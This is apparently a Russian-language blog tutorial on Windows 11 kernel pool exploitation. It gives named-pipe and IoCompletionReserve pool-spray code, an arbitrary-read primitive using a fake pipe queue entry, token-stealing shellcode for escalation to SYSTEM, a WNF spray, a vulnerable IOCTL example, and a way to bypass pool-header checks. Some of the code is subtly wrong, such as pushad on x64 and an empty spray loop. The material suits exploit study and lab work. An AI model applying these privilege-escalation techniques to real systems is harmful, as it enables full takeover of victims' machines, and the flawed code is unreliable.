
27
Kernel pool – это сердце Windows, и если ты умеешь его эксплуатировать, то получаешь SYSTEM. Windows 11 прокачала защиты до максимума: segment heap, pool corruption detection, CFG в ядре. Но это не значит, что игра окончена. Просто теперь нужно играть умнее.
Что такое Kernel Pool и почему он твоя цель
Kernel pool – это аналог user-mode heap, только для ядра. Драйверы и сама Windows используют ExAllocatePoolWithTag для выделения динамической памяти. Есть два основных типа пула:
Когда драйвер облажался и дал тебе переполнение буфера в пуле, ты можешь перезаписать соседние объекты и получить arbitrary read/write. А это = game over для системы.
Архитектура Windows 11 Kernel Pool
Segment Heap и kLFH
С Windows 10 (19H1) Microsoft переключилась на segment heap. Для мелких аллокаций используется kernel Low Fragmentation Heap (kLFH). Вот как это работает:
kLFH активация: Нужно сделать 17 последовательных аллокаций примерно одного размера. После этого kLFH создаст UserBlock – набор страниц, разбитых на чанки одинакового размера.
Bucket system: Аллокации распределяются по бакетам в зависимости от размера:
POOL_HEADERСтруктура POOL_HEADER:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
typedef struct _POOL_HEADER { union { struct { USHORT PreviousSize : 8; USHORT PoolIndex : 8; USHORT BlockSize : 8; USHORT PoolType : 8; }; ULONG Ulong1; }; ULONG PoolTag; } POOL_HEADER; |
VS Allocator
Для размеров, которые еще не попали в kLFH (до 17-й аллокации), используется Variable Size (VS) allocator. У него жесткие защиты:
Защиты Windows 11
Pool Corruption Detection
Microsoft добавила detection механизмы с Windows 7, а к Windows 11 они стали еще злее:
FirstAllocationOffset и BlockStride в kLFH зашифрованыSMEP/SMAP
Важный момент: SMAP работает только при IRQL ≥ 2. Многие IOCTL хендлеры работают на PASSIVE_LEVEL (IRQL 0), и там можно читать/писать user-mode память.
KASLR
Kernel Address Space Layout Randomization рандомизирует базовые адреса ядра и драйверов. Для эксплуатации нужна утечка адресов.
Техники эксплуатации
1. Pool Spray с Named Pipes
Named pipes – это королева pool spray на Windows. Вот почему:
Структура NP_DATA_QUEUE_ENTRY:
|
1 2 3 4 5 6 7 8 |
typedef struct _NP_DATA_QUEUE_ENTRY { LIST_ENTRY QueueEntry; // +0x00 ULONG DataEntryType; // +0x10 PIRP Irp; // +0x14 ULONG QuotaInEntry; // +0x18 PSECURITY_CLIENT_CONTEXT ClientSecurityContext; // +0x1c ULONG DataSize; // +0x20 } NP_DATA_QUEUE_ENTRY; |
Размер структуры: 48 (0x30) байт
С POOL_HEADER (16 байт): 64 (0x40) байт – идеальный размер для контроля.
Spray техника:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
#define PIPE_COUNT 10000 #define SPRAY_SIZE 0x1f0 // 496 bytes -> 512 с хедером HANDLE pipes[PIPE_COUNT]; char spray_data[SPRAY_SIZE]; // 1. Заполняем spray_data нужными данными memset(spray_data, 'A', SPRAY_SIZE); // 2. Создаём кучу named pipes for (int i = 0; i < PIPE_COUNT; i++) { char pipe_name[256]; sprintf(pipe_name, "\\\\.\\pipe\\spray_%d", i); pipes[i] = CreateNamedPipe( pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, SPRAY_SIZE, SPRAY_SIZE, 0, NULL ); } // 3. Пишем данные во все пайпы (аллокация в NonPagedPool) for (int i = 0; i < PIPE_COUNT; i++) { DWORD written; WriteFile(pipes[i], spray_data, SPRAY_SIZE, &written, NULL); } // 4. Теперь триггерим уязвимость - она будет окружена нашими объектами trigger_vulnerability(); // 5. Освобождаем нужные пайпы для манипуляций for (int i = 0; i < PIPE_COUNT; i += 2) { // каждый второй CloseHandle(pipes[i]); } |
2. Arbitrary Read через Pipe Overflow
Классическая техника с переполнением в соседний объект NP_DATA_QUEUE_ENTRY:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
// Создаём user-mode IRP и DQE структуры IRP* usermode_irp = (IRP*)VirtualAlloc(NULL, sizeof(IRP), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); NP_DATA_QUEUE_ENTRY* usermode_dqe = (NP_DATA_QUEUE_ENTRY*)VirtualAlloc( NULL, sizeof(NP_DATA_QUEUE_ENTRY), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Arbitrary read функция void arbitrary_read(void* addr, void* result, size_t size) { // Настраиваем fake DQE для чтения по адресу addr usermode_dqe->Irp = usermode_irp; usermode_dqe->Irp->AssociatedIrp.SystemBuffer = addr; // КУДА читать usermode_dqe->SecurityContext = 0; usermode_dqe->EntryType = 1; // unbuffered usermode_dqe->QuotaInEntry = 0; usermode_dqe->DataSize = size; // Читаем через PeekNamedPipe char temp_buf[4096]; PeekNamedPipe(victim_pipe, temp_buf, sizeof(temp_buf), NULL, NULL, NULL); // Данные находятся после хедеров memcpy(result, &temp_buf[OFFSET_TO_DATA], size); } |
Принцип: Overflow перезаписывает поле Irp в соседнем NP_DATA_QUEUE_ENTRY, заставляя его указывать на наш user-mode IRP. Когда вызываем PeekNamedPipe, ядро читает из Irp->AssociatedIrp.SystemBuffer (наш контролируемый адрес).
3. Use-After-Free с IoCompletionReserve
IoCompletionReserve объекты – это легенда. Размер: 96 (0x60) байт с хедером.
Spray через NtAllocateReserveObject:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
#define SPRAY_COUNT 10000 HANDLE reserves[SPRAY_COUNT]; // Спрэй аллокаций 0x60 размера for (int i = 0; i < SPRAY_COUNT; i++) { NtAllocateReserveObject(&reserves[i], NULL, 1); // Type = 1 для IoCompletionReserve } // Триггерим UAF trigger_uaf(); // Перезанимаем освобожденный объект нашими данными for (int i = 0; i < SPRAY_COUNT; i++) { // Каждый reserve объект теперь может быть на месте UAF'нутого } |
Эта техника всё ещё работает на Windows 10/11.
4. Token Stealing Shellcode
Классика жанра – кража токена от SYSTEM процесса:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
// Windows 11 offsets (проверь на https://www.vergiliusproject.com/) #define KTHREAD_OFFSET 0x188 // _KPCR.CurrentPrcb.CurrentThread #define EPROCESS_OFFSET 0x220 // _KTHREAD.Process #define PID_OFFSET 0x440 // _EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x448 // _EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x4b8 // _EPROCESS.Token #define SYSTEM_PID 4 __declspec(naked) void TokenStealingShellcode() { __asm { pushad // сохраняем регистры // Получаем текущий EPROCESS mov rax, gs:[KTHREAD_OFFSET] // CurrentThread (gs на x64) mov rax, [rax + EPROCESS_OFFSET] // Current EPROCESS mov rcx, rax // сохраняем для позднего использования // Ищем SYSTEM процесс (PID=4) mov rdx, SYSTEM_PID find_system: mov rax, [rax + FLINK_OFFSET] // следующий EPROCESS sub rax, FLINK_OFFSET // компенсируем offset cmp [rax + PID_OFFSET], rdx // проверяем PID jne find_system // Копируем токен SYSTEM в наш процесс mov rdx, [rax + TOKEN_OFFSET] // SYSTEM token mov [rcx + TOKEN_OFFSET], rdx // наш токен = SYSTEM token popad // восстанавливаем регистры xor eax, eax // STATUS_SUCCESS ret } } |
Важно: Offsets меняются между билдами Windows! Используй Vergilius Project для актуальных данных.
5. WNF State Data для современных эксплойтов
Windows Notification Facility (WNF) – новая техника для heap spray:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
// CVE-2025-21333 использовал WNF для контроля heap typedef struct _WNF_STATE_DATA { ULONG Size; PVOID Data; } WNF_STATE_DATA; // Создаём WNF state с контролируемым размером NTSTATUS status = NtUpdateWnfStateData( &StateName, spray_buffer, spray_size, NULL, NULL, 0, 0 ); |
Это дает контроль над размером и данными в kernel pool.
Debugging с WinDbg
Базовые команды
Анализ pool allocation:
|
1 2 3 4 |
kd> !pool ffffe001`12345678 Pool page ffffe00112345678 region is Paged pool ffffe00112345000 size: 200 previous size: 0 (Allocated) NpFr ffffe00112345200 size: 40 previous size: 200 (Free) .... |
Дамп POOL_HEADER:
|
1 2 3 4 5 |
kd> dt nt!_POOL_HEADER ffffe001`12345678 +0x000 PreviousSize : 0x20 +0x002 PoolIndex : 0x0 +0x000 Ulong1 : 0x04000020 +0x004 PoolTag : 0x46724e70 'NpFr' |
Поиск по тегу:
|
1 2 3 |
kd> !poolfind NpFr Searching NonPaged pool (ffffe00000000000 : ffffe00080000000) for Tag: NpFr ...найдёт все Named Pipe аллокации |
Просмотр структур:
|
1 2 3 4 5 6 |
kd> dt nt!_NP_DATA_QUEUE_ENTRY ffffe001`12345690 +0x000 QueueEntry : _LIST_ENTRY +0x010 DataEntryType : 1 +0x014 Irp : 0xffffe001`23456000 _IRP +0x01c SecurityContext : (null) +0x020 DataSize : 0x200 |
Показать все pool allocations по размеру:
|
1 2 3 4 5 6 7 |
kd> !poolused 2 NpFr Sorting by Paged Pool Consumed Pool Used: NonPaged Paged Tag Allocs Used Allocs Used NpFr 5421 2458624 0 0 BINARY : npfs.sys |
Реальный CVE: разбор CVE-2025-24066
Heap overflow в Windows kernel driver:
Уязвимый код:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
NTSTATUS VulnerableIOCTLHandler(PIRP Irp) { PVOID buffer = ExAllocatePoolWithTag(NonPagedPool, 0x100, 'vulN'); if (!buffer) return STATUS_INSUFFICIENT_RESOURCES; // БАГ: нет проверки userSize! ULONG userSize = IoStack->Parameters.DeviceIoControl.InputBufferLength; RtlCopyMemory(buffer, Irp->AssociatedIrp.SystemBuffer, userSize); // ... обработка ... ExFreePool(buffer); return STATUS_SUCCESS; } |
Эксплуатация:
userSize = 0x200 (в 2 раза больше)NP_DATA_QUEUE_ENTRYIrp->AssociatedIrp.SystemBuffer на адрес токена нашего процессаWriteFile в corrupted pipeПродвинутые техники
Обход Pool Corruption Detection
Сохранение pool cookies: Если можешь читать перед записью (read-write примитив):
|
1 2 3 4 5 6 7 8 9 |
// 1. Читаем оригинальный POOL_HEADER POOL_HEADER original_header; arbitrary_read(target_addr, &original_header, sizeof(POOL_HEADER)); // 2. Модифицируем только нужные поля original_header.BlockSize = new_size; // 3. Пишем обратно с сохранённым cookie arbitrary_write(target_addr, &original_header, sizeof(POOL_HEADER)); |
Exploitation без SMEP bypass
Если не можешь выполнять user-mode код:
ntoskrnl.exe и драйверахRace Condition эксплуатация
Pool corruption часто происходит в race conditions:
|
1 2 3 4 5 6 7 8 9 10 |
// Thread 1: Освобождает объект ExFreePool(victim_object); // Thread 2: Быстро перезанимает через spray for (int i = 0; i < 1000; i++) { WriteFile(pipes[i], spray_data, size, &written, NULL); } // Thread 1: Продолжает использовать (UAF!) victim_object->field = value; // пишем в наш spray объект! |
Инструменты и ресурсы
Для разработки:
Offset’ы структур:
PoC и exploits:
Практические советы
Bottom Line
Kernel pool exploitation на Windows 11 – это не прогулка в парке, как было на XP или даже 7-ке. Segment heap, encryption, guard pages, SMEP/SMAP – всё это реальные препятствия. Но они не непробиваемые.
Ключ к успеху – понимание архитектуры kLFH, правильный heap feng shui через named pipes и терпение при отладке. А ещё – следи за свежими CVE, там часто можно найти новые паттерны эксплуатации.
Так что запускай VM с Windows 11, ставь HEVD, открывай WinDbg и начинай ломать. Pool overflow не умер – он просто вырос и стал сложнее. Удачи, и пусть твои эксплойты будут надёжными, а BSOD’ы – редкими!